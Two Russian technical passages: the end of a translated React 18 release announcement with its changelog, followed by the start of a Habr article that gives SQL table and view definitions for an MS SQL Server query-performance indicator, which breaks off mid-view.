ожидания. * `startTransition`: метод для запуска переходов, когда хук не может быть использован (прим. переводчика - в классовых компонентах). Переходы согласуются с конкурентным рендерингом, что позволяет прервать обновление. Если контент повторно запрашивается (re-suspend), переходы в свою очередь говорят React продолжать показывать текущий контент, в то время как контент перехода рендерится в фоновом режиме (более подробную информацию см. в [Suspense RFC](https://github.com/reactjs/rfcs/blob/main/text/0213-suspense-in-react-18.md)). [См. документацию по переходам здесь](https://reactjs.org/docs/react-api.html#transitions). ### Новые функциональные возможности Suspense Suspense позволяет вам декларативно отображать состояние загрузки для части дерева компонентов, если она еще не готова к отображению: ``` }> ``` Suspense делает "состояние загрузки пользовательского интерфейса" first-class декларативной концепцией в модели программирования React. Это позволяет нам создавать на его основе функциональность более высокого уровня. Мы представили ограниченную версию Suspense несколько лет назад. Однако единственным поддерживаемым вариантом использования было разделение кода с помощью React.lazy, а при рендеринге на сервере оно вообще не поддерживалось. В React 18 мы добавили поддержку Suspense на сервере и расширили его возможности за счет возможностей параллельного рендеринга. Suspense в React 18 лучше всего работает в сочетании с API переходов. Если вы приостановите (suspend) работу во время перехода, React предотвратит замену индикатором загрузки уже видимого содержимого. Вместо этого React отложит рендеринг до тех пор, пока не загрузится достаточно данных, чтобы предотвратить ненужное состояние загрузки. Подробнее см. RFC для [Suspense in React 18](https://github.com/reactjs/rfcs/blob/main/text/0213-suspense-in-react-18.md). ### Новые API клиентского и серверного рендеринга В этом релизе мы воспользовались возможностью переработать API, которые мы предоставляем для рендеринга на клиенте и сервере. Эти изменения позволяют пользователям продолжать использовать старые API в режиме React 17, пока они переходят на новые API в React 18. #### React DOM Client Эти новые API теперь экспортируются из `react-dom/client`: * `createRoot`: Новый метод для создания корня для `render` или `unmount`. Используйте его вместо `ReactDOM.render`. Новые возможности в React 18 не работают без этого * `hydrateRoot`: Новый метод для гидратации приложения отрендеренного на сервере. Используйте его вместо `ReactDOM.hydrate` в сочетании с новыми API React DOM Server. Новые возможности в React 18 не работают без него. И `createRoot` и `hydrateRoot` принимают новую опцию `onRecoverableError` на случай, если вы хотите получать уведомления, когда React восстанавливается после ошибок во время рендеринга или гидратации для логирования. По умолчанию React будет использовать [reportError](https://developer.mozilla.org/en-US/docs/Web/API/reportError), или `console.error` в старых браузерах. [См. документацию по React DOM Client здесь](https://reactjs.org/docs/react-dom-client.html). #### React DOM Server Эти новые API теперь экспортируются из `react-dom/server` и имеют полную поддержку для потоковой передачи Suspense на сервере: * `renderToPipeableStream`: для потоковой передачи в окружениях Node * `renderToReadableStream`: для современных edge runtime окружений, таких как Deno и Cloudflare workers Существующий метод `renderToString` продолжает работать, но использовать его не рекомендуется. [См. документацию по React DOM Server здесь](https://reactjs.org/docs/react-dom-server.html). Новые поведения в строгом режиме -------------------------------- В будущем мы хотели бы добавить возможность, которая позволит React добавлять и удалять секции пользовательского интерфейса с сохранением состояния. Например, когда пользователь переходит с экрана на экран и обратно, React должен иметь возможность немедленно показать предыдущий экран. Для этого React будет размонтировать и снова монтировать деревья, используя то же состояние компонентов, что и раньше. Эта функция обеспечит приложениям React лучшую производительность из коробки, но требует, чтобы компоненты были устойчивы к многократному монтированию и уничтожению эффектов. Большинство эффектов будут работать без изменений, но некоторые эффекты предполагают, что их монтируют или уничтожают только один раз. Чтобы помочь устранить эти проблемы, React 18 вводит новую проверку в Strict Mode, предназначенную только для этапа разработки. Эта новая проверка будет автоматически размонтировать и повторно монтировать каждый компонент, всегда когда компонент монтируется в первый раз, восстанавливая предыдущее состояние при втором монтировании. До этого изменения React монтировал компонент и создавал эффекты: ``` * React монтирует компонент * создаются layout эффекты * создаются эффекты ``` В режиме Strict Mode в React 18, React будет симулировать размонтирование и повторное монтирование компонента в режиме разработки: ``` * React монтирует компонент * создаются layout эффекты * создаются эффекты * React симулирует размонтирование компонента * layout эффекты уничтожаются * эффекты уничтожаются * React симулирует монтирование компонента с предыдущим состоянием * создаются layout эффекты * создаются эффекты ``` [См. документацию по обеспечению переиспользуемого состояния здесь](https://reactjs.org/docs/strict-mode.html#ensuring-reusable-state). ### Новые хуки #### useId `useId` - это новый хук для генерации уникальных идентификаторов как на клиенте, так и на сервере, избегая при этом несоответствия при гидратации. В первую очередь он полезен для библиотек компонентов, интегрирующихся с accessibility API, которые требуют уникальных идентификаторов. Это решает проблему, которая уже существует в React 17 и ниже, но она еще более важна в React 18 из-за того, как не по порядку новый потоковый серверный рендерер доставляет HTML. [См. документацию здесь](https://reactjs.org/docs/hooks-reference.html#useid). > **Примечание** > > `useId` **не** предназначен для генерации [ключей списка](https://reactjs.org/docs/lists-and-keys.html#keys). Ключи должны генерироваться из ваших данных. > > #### useTransition `useTransition` и `startTransition` позволяют пометить некоторые обновления состояния как не срочные. Другие обновления состояния считаются срочными по умолчанию. React позволяет срочным обновлениям состояния (например, обновление текстового ввода) прерывать не срочные обновления состояния (например, вывод списка результатов поиска). [См. документацию здесь](https://reactjs.org/docs/hooks-reference.html#usetransition) #### useDeferredValue Функция `useDeferredValue` позволяет отложить пере-рендеринг не срочной части дерева. Это похоже на debouncing, но имеет несколько преимуществ по сравнению с ним. Нет фиксированной временной задержки, поэтому React будет пытаться выполнить отложенный рендеринг сразу после того, как первый рендеринг будет отражен на экране. Отложенный рендеринг прерывается и не блокирует ввод пользователя. [См. документацию здесь](https://reactjs.org/docs/hooks-reference.html#usedeferredvalue) #### useSyncExternalStore `useSyncExternalStore` - это новый хук, который позволяет внешним хранилищам (stores) поддерживать конкурентное чтение, принуждая обновления хранилища быть синхронными. Он устраняет необходимость в useEffect при реализации подписок на внешние источники данных и рекомендуется для любой библиотеки, которая интегрируется с внешним для React состоянием. [См. документацию здесь](https://reactjs.org/docs/hooks-reference.html#usesyncexternalstore). > **Примечание** > > `useSyncExternalStore` предназначен для использования библиотеками, а не кодом приложения. > > #### useInsertionEffect `useInsertionEffect` - это новый хук, который позволяет библиотекам CSS-in-JS решать проблемы производительности инъекции стилей при рендеринге. Если вы еще не создали библиотеку CSS-in-JS, мы не ожидаем, что вы когда-либо будете использовать этот хук. Этот хук будет запущен после того, как DOM будет изменен, но до того, как эффекты размещения (layout effect) прочитают новое размещение. Это решает проблему, которая уже существует в React 17 и ниже, но становится еще более важной в React 18, поскольку React пропускает вперёд браузер во время параллельного рендеринга, давая ему шанс пересчитать размещение. [См. документацию здесь](https://reactjs.org/docs/hooks-reference.html#useinsertioneffect) > **Примечание** > > `useInsertionEffect` предназначен для использования библиотеками, а не кодом приложения. > > Как обновиться -------------- Смотрите [How to Upgrade to React 18](https://reactjs.org/blog/2022/03/08/react-18-upgrade-guide.html) для получения пошаговых инструкций и полного списка важных и значимых изменений. Список изменений ---------------- ### React * Добавлены `useTransition` и `useDeferredValue` для разделения срочных обновлений от переходов.([#10426](https://github.com/facebook/react/pull/10426), [#10715](https://github.com/facebook/react/pull/10715), [#15593](https://github.com/facebook/react/pull/15593), [#15272](https://github.com/facebook/react/pull/15272), [#15578](https://github.com/facebook/react/pull/15578), [#15769](https://github.com/facebook/react/pull/15769), [#17058](https://github.com/facebook/react/pull/17058), [#18796](https://github.com/facebook/react/pull/18796), [#19121](https://github.com/facebook/react/pull/19121), [#19703](https://github.com/facebook/react/pull/19703), [#19719](https://github.com/facebook/react/pull/19719), [#19724](https://github.com/facebook/react/pull/19724), [#20672](https://github.com/facebook/react/pull/20672), [#20976](https://github.com/facebook/react/pull/20976) от [@acdlite](https://github.com/acdlite), [@lunaruan](https://github.com/lunaruan), [@rickhanlonii](https://github.com/rickhanlonii), и [@sebmarkbage](https://github.com/sebmarkbage)) * Добавлен `useId` для генерации уникальных IDs. ([#17322](https://github.com/facebook/react/pull/17322), [#18576](https://github.com/facebook/react/pull/18576), [#22644](https://github.com/facebook/react/pull/22644), [#22672](https://github.com/facebook/react/pull/22672), [#21260](https://github.com/facebook/react/pull/21260) от [@acdlite](https://github.com/acdlite), [@lunaruan](https://github.com/lunaruan), и [@sebmarkbage](https://github.com/sebmarkbage)) * Добавлен `useSyncExternalStore` для помощи библиотекам внешних хранилищ в интеграции с React. ([#15022](https://github.com/facebook/react/pull/15022), [#18000](https://github.com/facebook/react/pull/18000), [#18771](https://github.com/facebook/react/pull/18771), [#22211](https://github.com/facebook/react/pull/22211), [#22292](https://github.com/facebook/react/pull/22292), [#22239](https://github.com/facebook/react/pull/22239), [#22347](https://github.com/facebook/react/pull/22347), [#23150](https://github.com/facebook/react/pull/23150) от [@acdlite](https://github.com/acdlite), [@bvaughn](https://github.com/bvaughn), и [@drarmstr](https://github.com/drarmstr)) * Добавлен `startTransition` как вариант `useTransition` без ожидающего feedback. ([#19696](https://github.com/facebook/react/pull/19696) от [@rickhanlonii](https://github.com/rickhanlonii)) * Добавлен `useInsertionEffect` для CSS-in-JS библиотек. ([#21913](https://github.com/facebook/react/pull/21913) от [@rickhanlonii](https://github.com/rickhanlonii)) * Сделали Suspense перемонтирования эффектов размещения при повторном отображении контента. ([#19322](https://github.com/facebook/react/pull/19322), [#19374](https://github.com/facebook/react/pull/19374), [#19523](https://github.com/facebook/react/pull/19523), [#20625](https://github.com/facebook/react/pull/20625), [#21079](https://github.com/facebook/react/pull/21079) от [@acdlite](https://github.com/acdlite), [@bvaughn](https://github.com/bvaughn), и [@lunaruan](https://github.com/lunaruan)) * Сделали эффекты перезапуска  для проверки восстановимости состояния. ([#19523](https://github.com/facebook/react/pull/19523) , [#21418](https://github.com/facebook/react/pull/21418) от [@bvaughn](https://github.com/bvaughn) и [@lunaruan](https://github.com/lunaruan)) * Assume Symbols всегда доступны. ([#23348](https://github.com/facebook/react/pull/23348) от [@sebmarkbage](https://github.com/sebmarkbage)) * Удалили полифил `object-assign`. ([#23351](https://github.com/facebook/react/pull/23351) от [@sebmarkbage](https://github.com/sebmarkbage)) * Удалили неподдерживаемое API `unstable_changedBits`. ([#20953](https://github.com/facebook/react/pull/20953) от [@acdlite](https://github.com/acdlite)) * Разрешили компонентам рендерить undefined. ([#21869](https://github.com/facebook/react/pull/21869) от [@rickhanlonii](https://github.com/rickhanlonii)) * Синхронно смываем `useEffect`, возникающий в результате дискретных событий, таких как клики. ([#21150](https://github.com/facebook/react/pull/21150) от [@acdlite](https://github.com/acdlite)) * Suspense `fallback={undefined}` теперь ведет себя так же, как `null` и не игнорируется. ([#21854](https://github.com/facebook/react/pull/21854) от [@rickhanlonii](https://github.com/rickhanlonii)) * Теперь все `lazy()`, преобразующиеся в один и тот же компонент, считаются эквивалентными. ([#20357](https://github.com/facebook/react/pull/20357) от [@sebmarkbage](https://github.com/sebmarkbage)) * Не обновляем консоль во время первого рендера. ([#22308](https://github.com/facebook/react/pull/22308) от [@lunaruan](https://github.com/lunaruan)) * Улучшение использования памяти. ([#21039](https://github.com/facebook/react/pull/21039) от [@bgirard](https://github.com/bgirard)) * Улучшение сообщений, если при когеренции строк возникают ошибки (Temporal.\*, Symbol и т.д.) ([#22064](https://github.com/facebook/react/pull/22064) от [@justingrant](https://github.com/justingrant)) * Используем `setImmediate`, если доступно через `MessageChannel`. ([#20834](https://github.com/facebook/react/pull/20834) от [@gaearon](https://github.com/gaearon)) * Исправление того, что контекст не распространялся внутри приостановленных (suspended) деревьев. ([#23095](https://github.com/facebook/react/pull/23095) от [@gaearon](https://github.com/gaearon)) * Исправление `useReducer`, отслеживающего (observing) некорректные пропсы, путем удаления механизма eager bailout. ([#22445](https://github.com/facebook/react/pull/22445) от [@josephsavona](https://github.com/josephsavona)) * Исправление игнорирования `setState` в Safari при добавлении iframes. ([#23111](https://github.com/facebook/react/pull/23111) от [@gaearon](https://github.com/gaearon)) * Исправление падения при рендеринге `ZonedDateTime` в дереве. ([#20617](https://github.com/facebook/react/pull/20617) от [@dimaqq](https://github.com/dimaqq)) * Исправление падения при установке значения `null` для документа в тестах. ([#22695](https://github.com/facebook/react/pull/22695) от [@SimenB](https://github.com/SimenB)) * Исправление того, что `onLoad` не срабатывает, когда включены функционалы конкурентности. ([#23316](https://github.com/facebook/react/pull/23316) от [@gnoff](https://github.com/gnoff)) * Исправление предупреждения, когда селектор возвращает `NaN`. ([#23333](https://github.com/facebook/react/pull/23333) от [@hachibeeDI](https://github.com/hachibeeDI)) * Исправление падения, когда в тестах документ имеет значение `null`. ([#22695](https://github.com/facebook/react/pull/22695) от [@SimenB](https://github.com/SimenB)) * Исправление генерируемого заголовка лицензии. ([#23004](https://github.com/facebook/react/pull/23004) от [@vitaliemiron](https://github.com/vitaliemiron)) * Добавили `package.json` в качестве одной из точек входа. ([#22954](https://github.com/facebook/react/pull/22954) от [@Jack](https://github.com/Jack-Works)) * Разрешили приостановку за пределами Suspense boundary. ([#23267](https://github.com/facebook/react/pull/23267) от [@acdlite](https://github.com/acdlite)) * Записываем в журнал восстанавливаемую ошибку при сбое гидратации. ([#23319](https://github.com/facebook/react/pull/23319) от [@acdlite](https://github.com/acdlite)) ### React DOM * Добавили `createRoot` и `hydrateRoot`. ([#10239](https://github.com/facebook/react/pull/10239), [#11225](https://github.com/facebook/react/pull/11225), [#12117](https://github.com/facebook/react/pull/12117), [#13732](https://github.com/facebook/react/pull/13732), [#15502](https://github.com/facebook/react/pull/15502), [#15532](https://github.com/facebook/react/pull/15532), [#17035](https://github.com/facebook/react/pull/17035), [#17165](https://github.com/facebook/react/pull/17165), [#20669](https://github.com/facebook/react/pull/20669), [#20748](https://github.com/facebook/react/pull/20748), [#20888](https://github.com/facebook/react/pull/20888), [#21072](https://github.com/facebook/react/pull/21072), [#21417](https://github.com/facebook/react/pull/21417), [#21652](https://github.com/facebook/react/pull/21652), [#21687](https://github.com/facebook/react/pull/21687), [#23207](https://github.com/facebook/react/pull/23207), [#23385](https://github.com/facebook/react/pull/23385) от [@acdlite](https://github.com/acdlite), [@bvaughn](https://github.com/bvaughn), [@gaearon](https://github.com/gaearon), [@lunaruan](https://github.com/lunaruan), [@rickhanlonii](https://github.com/rickhanlonii), [@trueadm](https://github.com/trueadm), и [@sebmarkbage](https://github.com/sebmarkbage)) * Добавили селективную гидратацию. ([#14717](https://github.com/facebook/react/pull/14717), [#14884](https://github.com/facebook/react/pull/14884), [#16725](https://github.com/facebook/react/pull/16725), [#16880](https://github.com/facebook/react/pull/16880), [#17004](https://github.com/facebook/react/pull/17004), [#22416](https://github.com/facebook/react/pull/22416), [#22629](https://github.com/facebook/react/pull/22629), [#22448](https://github.com/facebook/react/pull/22448), [#22856](https://github.com/facebook/react/pull/22856), [#23176](https://github.com/facebook/react/pull/23176) от [@acdlite](https://github.com/acdlite), [@gaearon](https://github.com/gaearon), [@salazarm](https://github.com/salazarm), и [@sebmarkbage](https://github.com/sebmarkbage)) * Добавили `aria-description` в список известных атрибутов ARIA. ([#22142](https://github.com/facebook/react/pull/22142) от [@mahyareb](https://github.com/mahyareb)) * Добавили событие `onResize` для элементов видео. ([#21973](https://github.com/facebook/react/pull/21973) от [@rileyjshaw](https://github.com/rileyjshaw)) * Добавили `imageSizes` и `imageSrcSet` к известным пропсам. ([#22550](https://github.com/facebook/react/pull/22550) от [@eps1lon](https://github.com/eps1lon)) * Разрешили нестроковые дочерние , если указано `value`. ([#21431](https://github.com/facebook/react/pull/21431) от [@sebmarkbage](https://github.com/sebmarkbage)) * Исправить неприменение стиля `aspectRatio`. ([#21100](https://github.com/facebook/react/pull/21100) от [@gaearon](https://github.com/gaearon)) * Добавили предупреждение при вызове `renderSubtreeIntoContainer`. ([#23355](https://github.com/facebook/react/pull/23355) от [@acdlite](https://github.com/acdlite)) ### React DOM Server * Добавили новый потоковый рендерер. ([#14144](https://github.com/facebook/react/pull/14144), [#20970](https://github.com/facebook/react/pull/20970), [#21056](https://github.com/facebook/react/pull/21056), [#21255](https://github.com/facebook/react/pull/21255), [#21200](https://github.com/facebook/react/pull/21200), [#21257](https://github.com/facebook/react/pull/21257), [#21276](https://github.com/facebook/react/pull/21276), [#22443](https://github.com/facebook/react/pull/22443), [#22450](https://github.com/facebook/react/pull/22450), [#23247](https://github.com/facebook/react/pull/23247), [#24025](https://github.com/facebook/react/pull/24025), [#24030](https://github.com/facebook/react/pull/24030) от [@sebmarkbage](https://github.com/sebmarkbage)) * Исправили контекстные провайдеры в SSR при обработке нескольких запросов. ([#23171](https://github.com/facebook/react/pull/23171) от [@frandiox](https://github.com/frandiox)) * Возврат к клиентскому рендеру при несовпадении текста. ([#23354](https://github.com/facebook/react/pull/23354) от [@acdlite](https://github.com/acdlite)) * Пометили устаревшим `renderToNodeStream`. ([#23359](https://github.com/facebook/react/pull/23359) от [@sebmarkbage](https://github.com/sebmarkbage)) * Исправили ложный журнал ошибок в новом серверном рендерере. ([#24043](https://github.com/facebook/react/pull/24043) от [@eps1lon](https://github.com/eps1lon)) * Исправили ошибки в новом серверном рендерере. ([#22617](https://github.com/facebook/react/pull/22617) от [@shuding](https://github.com/shuding)) * Игнорируем значения функций и символов внутри пользовательских элементов на сервере. ([#21157](https://github.com/facebook/react/pull/21157) от [@sebmarkbage](https://github.com/sebmarkbage)) ### Утилиты React DOM Test * Бросание исключения при использовании `act` в режиме эксплуатации. ([#21686](https://github.com/facebook/react/pull/21686) от [@acdlite](https://github.com/acdlite)) * Поддержка отключения ложных предупреждений с помощью `global.IS_REACT_ACT_ENVIRONMENT`. ([#22561](https://github.com/facebook/react/pull/22561) от [@acdlite](https://github.com/acdlite)) * Расширение act warning для охвата всех API, которые могут планировать работу React. ([#22607](https://github.com/facebook/react/pull/22607) от [@acdlite](https://github.com/acdlite)) * Сделали `act` пакетируемым обновлением. ([#21797](https://github.com/facebook/react/pull/21797) от [@acdlite](https://github.com/acdlite)) * Убрали предупреждение о висячих пассивных эффектах. ([#22609](https://github.com/facebook/react/pull/22609) от [@acdlite](https://github.com/acdlite)) ### React Refresh * Отслеживание поздно смонтированных roots в Fast Refresh. ([#22740](https://github.com/facebook/react/pull/22740) от [@anc95](https://github.com/anc95)) * Добавили поле `exports` в `package.json`. ([#23087](https://github.com/facebook/react/pull/23087) от [@otakustay](https://github.com/otakustay)) ### Серверные компоненты (экспериментально) * Добавили поддержку Server Context. ([#23244](https://github.com/facebook/react/pull/22739) от [@salazarm](https://github.com/salazarm)) * Добавили поддержку `lazy`. ([#24068](https://github.com/facebook/react/pull/24068) от [@gnoff](https://github.com/gnoff)) * Обновление плагина webpack до webpack 5 ([#22739](https://github.com/facebook/react/pull/22739) от [@michenly](https://github.com/michenly)) * Исправили ошибку в загрузчике Node. ([#22537](https://github.com/facebook/react/pull/22537) от [@btea](https://github.com/btea)) * Используем `globalThis` вместо `window` для edge окружений. ([#22777](https://github.com/facebook/react/pull/22777) от [@huozhi](https://github.com/huozhi)) БОНУС ОТ ПЕРЕВОДЧИКА[видео](https://www.youtube.com/watch?v=ftu0b79oPis) на ту же тему от Михаила Непомнящего
https://habr.com/ru/post/659537/
null
ru
null
# Пример реализации общего индикатора производительности MS SQL Server ### Предисловие Часто возникает потребность в создании такого индикатора производительности, который бы показывал состояние СУБД относительно предыдущего периода или конкретного дня. В статье [Реализация индикатора производительности запросов, хранимых процедур и триггеров в MS SQL Server. Автотрассировка](https://habrahabr.ru/post/314494/) был предложен пример по реализации такого индикатора. Здесь же опишем еще один более простой способ, который ко всему прочему позволяет посмотреть исторически не просто за сколько выполнился запрос, но и как выполнился, а также получить планы выполнения на каждый момент времени. Данный способ особенно полезен при предоставлении ежедневных отчетов выше стоящему руководству, т к его можно не только автоматизировать, но и вывести в отчет с минимальными техническими подробностями. В данной статье будет рассмотрен пример реализации такого общего индикатора, где в качестве меры будет браться все время выполнения запросов (Total Elapsed Time). ### Решение Сначала приведем общий алгоритм: 1) Делаем снимок активных запросов 2) Сохраняем результат 3) В конце суток делаем общий анализ и результат сохраняем в таблицу 4) Делаем сравнительный анализ по полученным данным Теперь приведем детализацию: Для того, чтобы сделать снимок активных запросов, создадим следующие таблицы: 1) Таблица планов запросов: **Таблица планов запросов** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE TABLE [srv].[PlanQuery]( [PlanHandle] [varbinary](64) NOT NULL, [SQLHandle] [varbinary](64) NOT NULL, [QueryPlan] [xml] NULL, [InsertUTCDate] [datetime] NOT NULL, CONSTRAINT [PK_PlanQuery] PRIMARY KEY CLUSTERED ( [SQLHandle] ASC, [PlanHandle] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [srv].[PlanQuery] ADD CONSTRAINT [DF_PlanQuery_InsertUTCDate] DEFAULT (getutcdate()) FOR [InsertUTCDate] GO ``` 2) Таблица запросов: **Таблица запросов** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE TABLE [srv].[SQLQuery]( [SQLHandle] [varbinary](64) NOT NULL, [TSQL] [nvarchar](max) NULL, [InsertUTCDate] [datetime] NOT NULL, CONSTRAINT [PK_SQLQuery] PRIMARY KEY CLUSTERED ( [SQLHandle] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [srv].[SQLQuery] ADD CONSTRAINT [DF_SQLQuery_InsertUTCDate] DEFAULT (getutcdate()) FOR [InsertUTCDate] GO ``` 3) Таблица хранения снимков по активным запросам: **Таблица хранения снимков по активным запросам** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE TABLE [srv].[RequestStatistics]( [session_id] [smallint] NOT NULL, [request_id] [int] NULL, [start_time] [datetime] NULL, [status] [nvarchar](30) NULL, [command] [nvarchar](32) NULL, [sql_handle] [varbinary](64) NULL, [statement_start_offset] [int] NULL, [statement_end_offset] [int] NULL, [plan_handle] [varbinary](64) NULL, [database_id] [smallint] NULL, [user_id] [int] NULL, [connection_id] [uniqueidentifier] NULL, [blocking_session_id] [smallint] NULL, [wait_type] [nvarchar](60) NULL, [wait_time] [int] NULL, [last_wait_type] [nvarchar](60) NULL, [wait_resource] [nvarchar](256) NULL, [open_transaction_count] [int] NULL, [open_resultset_count] [int] NULL, [transaction_id] [bigint] NULL, [context_info] [varbinary](128) NULL, [percent_complete] [real] NULL, [estimated_completion_time] [bigint] NULL, [cpu_time] [int] NULL, [total_elapsed_time] [int] NULL, [scheduler_id] [int] NULL, [task_address] [varbinary](8) NULL, [reads] [bigint] NULL, [writes] [bigint] NULL, [logical_reads] [bigint] NULL, [text_size] [int] NULL, [language] [nvarchar](128) NULL, [date_format] [nvarchar](3) NULL, [date_first] [smallint] NULL, [quoted_identifier] [bit] NULL, [arithabort] [bit] NULL, [ansi_null_dflt_on] [bit] NULL, [ansi_defaults] [bit] NULL, [ansi_warnings] [bit] NULL, [ansi_padding] [bit] NULL, [ansi_nulls] [bit] NULL, [concat_null_yields_null] [bit] NULL, [transaction_isolation_level] [smallint] NULL, [lock_timeout] [int] NULL, [deadlock_priority] [int] NULL, [row_count] [bigint] NULL, [prev_error] [int] NULL, [nest_level] [int] NULL, [granted_query_memory] [int] NULL, [executing_managed_code] [bit] NULL, [group_id] [int] NULL, [query_hash] [binary](8) NULL, [query_plan_hash] [binary](8) NULL, [most_recent_session_id] [int] NULL, [connect_time] [datetime] NULL, [net_transport] [nvarchar](40) NULL, [protocol_type] [nvarchar](40) NULL, [protocol_version] [int] NULL, [endpoint_id] [int] NULL, [encrypt_option] [nvarchar](40) NULL, [auth_scheme] [nvarchar](40) NULL, [node_affinity] [smallint] NULL, [num_reads] [int] NULL, [num_writes] [int] NULL, [last_read] [datetime] NULL, [last_write] [datetime] NULL, [net_packet_size] [int] NULL, [client_net_address] [varchar](48) NULL, [client_tcp_port] [int] NULL, [local_net_address] [varchar](48) NULL, [local_tcp_port] [int] NULL, [parent_connection_id] [uniqueidentifier] NULL, [most_recent_sql_handle] [varbinary](64) NULL, [login_time] [datetime] NULL, [host_name] [nvarchar](128) NULL, [program_name] [nvarchar](128) NULL, [host_process_id] [int] NULL, [client_version] [int] NULL, [client_interface_name] [nvarchar](32) NULL, [security_id] [varbinary](85) NULL, [login_name] [nvarchar](128) NULL, [nt_domain] [nvarchar](128) NULL, [nt_user_name] [nvarchar](128) NULL, [memory_usage] [int] NULL, [total_scheduled_time] [int] NULL, [last_request_start_time] [datetime] NULL, [last_request_end_time] [datetime] NULL, [is_user_process] [bit] NULL, [original_security_id] [varbinary](85) NULL, [original_login_name] [nvarchar](128) NULL, [last_successful_logon] [datetime] NULL, [last_unsuccessful_logon] [datetime] NULL, [unsuccessful_logons] [bigint] NULL, [authenticating_database_id] [int] NULL, [InsertUTCDate] [datetime] NOT NULL, [EndRegUTCDate] [datetime] NULL ) ON [PRIMARY] GO ALTER TABLE [srv].[RequestStatistics] ADD CONSTRAINT [DF_RequestStatistics_InsertUTCDate] DEFAULT (getutcdate()) FOR [InsertUTCDate] GO SET ANSI_PADDING ON GO CREATE CLUSTERED INDEX [indRequest] ON [srv].[RequestStatistics] ( [session_id] ASC, [request_id] ASC, [database_id] ASC, [user_id] ASC, [start_time] ASC, [command] ASC, [sql_handle] ASC, [plan_handle] ASC, [transaction_id] ASC, [connection_id] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] GO SET ANSI_PADDING ON GO CREATE NONCLUSTERED INDEX [indPlanQuery] ON [srv].[RequestStatistics] ( [plan_handle] ASC, [sql_handle] ASC ) WHERE ([sql_handle] IS NOT NULL AND [plan_handle] IS NOT NULL) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] GO ``` И аналогично создается таблица для архива [srv].[RequestStatisticsArchive]. 4) Таблица для хранения ежесуточных итоговых показателей: **Таблица для хранения ежесуточных итоговых показателей** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE TABLE [srv].[TSQL_DAY_Statistics]( [command] [nvarchar](32) NOT NULL, [DBName] [nvarchar](128) NOT NULL, [PlanHandle] [varbinary](64) NOT NULL, [SqlHandle] [varbinary](64) NOT NULL, [execution_count] [bigint] NOT NULL, [min_wait_timeSec] [decimal](23, 8) NOT NULL, [min_estimated_completion_timeSec] [decimal](23, 8) NOT NULL, [min_cpu_timeSec] [decimal](23, 8) NOT NULL, [min_total_elapsed_timeSec] [decimal](23, 8) NOT NULL, [min_lock_timeoutSec] [decimal](23, 8) NOT NULL, [max_wait_timeSec] [decimal](23, 8) NOT NULL, [max_estimated_completion_timeSec] [decimal](23, 8) NOT NULL, [max_cpu_timeSec] [decimal](23, 8) NOT NULL, [max_total_elapsed_timeSec] [decimal](23, 8) NOT NULL, [max_lock_timeoutSec] [decimal](23, 8) NOT NULL, [DATE] [date] NOT NULL ) ON [PRIMARY] GO ALTER TABLE [srv].[TSQL_DAY_Statistics] ADD CONSTRAINT [DF_TSQL_DAY_Statistics_DATE] DEFAULT (getutcdate()) FOR [DATE] GO CREATE NONCLUSTERED INDEX [indDATE] ON [srv].[TSQL_DAY_Statistics] ( [DATE] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] GO ``` 5) Представление по записанным снимкам активных запросов: **Представление по записанным снимкам активных запросов** ``` USE [ИМЯ БД] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE view [srv].[vRequestStatistics] as /*Статистика запросов*/ SELECT rs.[status] collate Cyrillic_General_CI_AS as [status] ,rs.[InsertUTCDate] ,rs.[start_time] ,rs.[command] collate Cyrillic_General_CI_AS as [command] ,rs.[session_id] ,rs.[blocking_session_id] ,round(cast(rs.[total_elapsed_time] as decimal(18,3))/1000, 3) as [total_elapsed_timeSec] ,DB_NAME(rs.[database_id]) collate Cyrillic_General_CI_AS as [DBName] ,rs.[is_user_process] ,rs.[login_name] collate Cyrillic_General_CI_AS as [login_name] ,rs.[program_name] collate Cyrillic_General_CI_AS as [program_name] ,rs.[host_name] collate Cyrillic_General_CI_AS as [host_name] ,sq.[TSQL] collate Cyrillic_General_CI_AS as [TSQL]--,(select top(1) text from sys.dm_exec_sql_text([sql_handle])) as [TSQL] ,pq.[QueryPlan] ,rs.[plan_handle] ,rs.[user_id] ,rs.[connection_id] ,rs.[database_id] ,rs.[sql_handle] ,rs.[statement_start_offset]--Количество символов в выполняемом в настоящий момент пакете или хранимой процедуре, в которой запущена текущая инструкция. Может применяться вместе с функциями динамического управления sql_handle, statement_end_offset и sys.dm_exec_sql_text для получения исполняемой в настоящий момент инструкции для запроса. Допускаются значения NULL. ,rs.[statement_end_offset]--Количество символов в выполняемом в настоящий момент пакете или хранимой процедуре, в которой завершилась текущая инструкция. Может применяться вместе с функциями динамического управления sql_handle, statement_end_offset и sys.dm_exec_sql_text для получения исполняемой в настоящий момент инструкции для запроса. Допускаются значения NULL. ,rs.[wait_type] collate Cyrillic_General_CI_AS as [wait_type]--тип ожидания 